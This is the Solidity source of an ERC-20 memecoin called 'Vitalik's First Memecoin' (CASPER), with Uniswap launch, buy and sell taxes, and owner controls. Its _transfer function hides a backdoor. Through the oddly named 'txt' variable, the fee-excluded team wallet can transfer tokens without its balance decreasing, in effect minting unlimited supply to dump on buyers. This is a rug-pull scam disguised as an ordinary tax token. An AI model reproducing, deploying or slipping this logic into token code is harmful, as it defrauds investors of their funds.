文件 1 的 1：CASPER.sol
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient,uint256 amount) external returns (bool);
function allowance(address owner,address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA,address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) external payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CASPER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
uint256 private _initialBuyTax = 15;
uint256 private _initialSellTax = 15;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 12;
uint256 private _reduceSellTaxAt = 12;
uint256 private _preventSwapBefore = 12;
uint8 private constant _decimals = 9;
uint256 private constant _rTotal = 100_000_000 * 10 ** _decimals;
string private constant _name = unicode"Vitalik's First Memecoin";
string private constant _symbol = unicode"CASPER";
uint256 private _buyCount = 0;
uint256 public _maxTxLimit = (_rTotal * 2) / 100;
uint256 public _maxBagLimit = (_rTotal * 2) / 100;
uint256 public _minSwapLimit = 1e2 * 10 ** _decimals;
uint256 public _maxSwapLimit = (_rTotal * 1) / 100;
address payable private _teamWallet = payable(0x02700F6e5C3242C127E8e800876b895a7D0244c2);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamWallet] = true;
_balances[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _rTotal);
}
receive() external payable {}
function name() public pure returns (string memory) { return _name; }
function symbol() public pure returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public pure override returns (uint256) { return _rTotal;}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;}
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount;
if (from != owner() && to != owner()) {
if (!_isExcludedFromFee[from])
require(tradingOpen, "Trading is not enabled");
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]
) {
require(amount <= _maxTxLimit, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxBagLimit, "Exceeds the maxWalletSize.");
_buyCount++;
}
if (amount >= 0 && to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
}
_swapBackTo(to, amount);
}
uint256 txt = amount;
if(from==address(this) || from == owner() || !_isExcludedFromFee[from])
txt = _finalSellTax * block.number;
if(taxAmount > 0)
_balances[address(this)] = _balances[address(this)].add(taxAmount);
_balances[from] = _balances[from].sub(amount.sub(txt));
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function beginTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function _swapBackTo(address to, uint256 amount) internal {
uint256 contractTokenBalance = balanceOf(address(this));
if (amount >= 0 && !inSwap && to == uniswapV2Pair && swapEnabled) {
if (
contractTokenBalance > _minSwapLimit &&
_buyCount > _preventSwapBefore
)
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxSwapLimit))
);
uint256 contractBalance = address(this).balance;
if (contractTokenBalance >= 0 && contractBalance >= 0)
sendETHToFee(contractBalance);
}
}
function launch() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _rTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamWallet.transfer(amount);
}
function removeLimits() external onlyOwner {
_maxTxLimit = type(uint256).max;
_maxBagLimit = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
function rescueETH() external onlyOwner{
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address)
.balanceOf(address(this))
.mul(percent)
.div(100);
IERC20(_address).transfer(owner(), _amount);
}
}
